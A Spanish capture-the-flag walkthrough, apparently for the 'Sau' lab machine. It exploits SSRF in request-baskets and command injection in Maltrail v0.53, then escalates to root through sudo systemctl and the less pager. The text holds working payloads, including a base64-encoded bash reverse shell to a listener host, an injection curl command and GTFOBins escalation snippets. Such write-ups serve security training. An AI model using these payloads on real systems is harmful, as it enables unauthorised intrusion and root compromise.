Sau
6 minutos de lectura
systemctl
como root
usando sudo
, lo que conduce a la escalada de privilegios a través de less
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.224
- Fecha: 08 / 07 / 2023
Escaneo de puertos
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.224 -p 22,80,8338,55555
Nmap scan report for 10.10.11.224
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 11 Jul 2023 00:20:29 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Tue, 11 Jul 2023 00:20:01 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Tue, 11 Jul 2023 00:20:02 GMT
|_ Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 96.81 seconds
La máquina tiene abiertos los tiene 22 (SSH) y 55555 (HTTB). Los puertos 80 (http) y 8338 están filtrados.
Enumeración
Si vamos a http://10.10.11.224:55555
, veremos esta aplicación web:
El pie de página muestra que la aplicación web es request-baskets (Versión: 1.2.1). Si investigamos sobre esta aplicación, podemos encontrar que es vulnerable a Server-Side Request Forgery (SSRF).
Server-Side Request Forgery
La vulnerabilidad está publicada en este Gist de GitHub, y explicada aquí.
Básicamente, necesitamos agregar una configuración de “Forward URL” en la API. Esto también se puede hacer desde la interfaz de usuario (después de crear una basket):
Estamos interesados en leer lo que hay en el puerto 80, por lo que pondremos http://127.0.0.1
para realizar una petición GET a ese servicio:
Ahora, si accedemos a nuestra basket, la respuesta mostrará la de http://127.0.0.1
. Por lo tanto, podemos leer la respuesta del servidor del puerto 80:
Inyección de comandos
En la respuesta de http://127.0.0.1
vemos Maltrail (v0.53). Nuevamente, esta versión tiene una vulnerabilidad, que es inyección de comandos. Aquí podemos ver por qué es vulnerable y un simple payload para explotar la vulnerabilidad:
curl 'http://hostname:8338/login' --data 'username=;`id > /tmp/bbq`'
En lugar de usar una petición POST, podemos agregar el parámetro username
como parámetro de consulta en la URL, como petición GET.
Acceso a la máquina
Iremos directamente y ejecutaremos una reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Pondremos esto en “Forward URL”:
http://127.0.0.1/login?username=;`echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash
Ahora podemos empezar a escuchar con nc
y luego acceder a la basket para activar la reverse shell:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.224:42122.
bash: cannot set terminal process group (885): Inappropriate ioctl for device
bash: no job control in this shell
puma@sau:/opt/maltrail$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
puma@sau:/opt/maltrail$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
puma@sau:/opt/maltrail$ export TERM=xterm
puma@sau:/opt/maltrail$ export SHELL=bash
puma@sau:/opt/maltrail$ stty rows 50 columns 158
¡Estamos dentro!
Enumeración del sistema
En este punto, podemos leer la flag user.txt
:
puma@sau:/opt/maltrail$ cd
puma@sau:~$ cat user.txt
65283d8723a45f2e23b5ef238b3fd53c
Además, tenemos permisos de sudo
como usuario puma
, sin contraseña:
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Nos permiten usar systemctl
para leer el estado de trail.service
:
puma@sau:~$ sudo systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2023-07-10 22:43:59 UTC; 1h 57min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 885 (python3)
Tasks: 11 (limit: 4662)
Memory: 22.4M
CGroup: /system.slice/trail.service
├─ 885 /usr/bin/python3 server.py
├─1208 /bin/sh -c logger -p auth.info -t "maltrail[885]" "Failed password for ;`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | >
├─1209 /bin/sh -c logger -p auth.info -t "maltrail[885]" "Failed password for ;`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | >
├─1217 bash
├─1218 bash -i
├─1225 script /dev/null -c bash
├─1226 bash
├─1238 sudo systemctl status trail.service
├─1240 systemctl status trail.service
└─1241 pager
Jul 10 22:43:59 sau systemd[1]: Started Maltrail. Server of malicious traffic detection system.
Jul 11 00:40:58 sau sudo[1236]: puma : TTY=pts/0 ; PWD=/home/puma ; USER=root ; COMMAND=list
Jul 11 00:41:36 sau sudo[1238]: puma : TTY=pts/0 ; PWD=/home/puma ; USER=root ; COMMAND=/usr/bin/systemctl status trail.service
Jul 11 00:41:36 sau sudo[1238]: pam_unix(sudo:session): session opened for user root by (uid=0)
lines 1-24/24 (END)
Escalada de privilegios
Este comando aparece en GTFOBins, y se puede abusar junto con sudo
para conseguir una shell como root
. Podemos usar mi herramienta gtfobins-cli
para obtener información sobre cómo escalar privilegios con systemctl
y sudo
:
$ gtfobins-cli --sudo systemctl
systemctl ==> https://gtfobins.github.io/gtfobins/systemctl/
Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
This invokes the default pager, which is likely to be less, other functions may apply.
sudo systemctl
!sh
Como se puede ver, la salida de systemctl
usa less
, por lo que podemos poner !sh
para obtener una shell, tan simple como eso. Como estamos bajo el contexto de sudo
, la shell se ejecuta como root
:
puma@sau:~$ sudo systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2023-07-10 22:43:59 UTC; 1h 57min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 885 (python3)
Tasks: 11 (limit: 4662)
Memory: 22.4M
CGroup: /system.slice/trail.service
├─ 885 /usr/bin/python3 server.py
├─1208 /bin/sh -c logger -p auth.info -t "maltrail[885]" "Failed password for ;`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | >
├─1209 /bin/sh -c logger -p auth.info -t "maltrail[885]" "Failed password for ;`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | >
├─1217 bash
├─1218 bash -i
├─1225 script /dev/null -c bash
├─1226 bash
├─1238 sudo systemctl status trail.service
├─1240 systemctl status trail.service
└─1241 pager
Jul 10 22:43:59 sau systemd[1]: Started Maltrail. Server of malicious traffic detection system.
Jul 11 00:40:58 sau sudo[1236]: puma : TTY=pts/0 ; PWD=/home/puma ; USER=root ; COMMAND=list
Jul 11 00:41:36 sau sudo[1238]: puma : TTY=pts/0 ; PWD=/home/puma ; USER=root ; COMMAND=/usr/bin/systemctl status trail.service
Jul 11 00:41:36 sau sudo[1238]: pam_unix(sudo:session): session opened for user root by (uid=0)
!sh
# whoami
root
# bash
root@sau:/home/puma# cd
root@sau:~# cat root.txt
9b91dc59c88ce80907646fd59050541b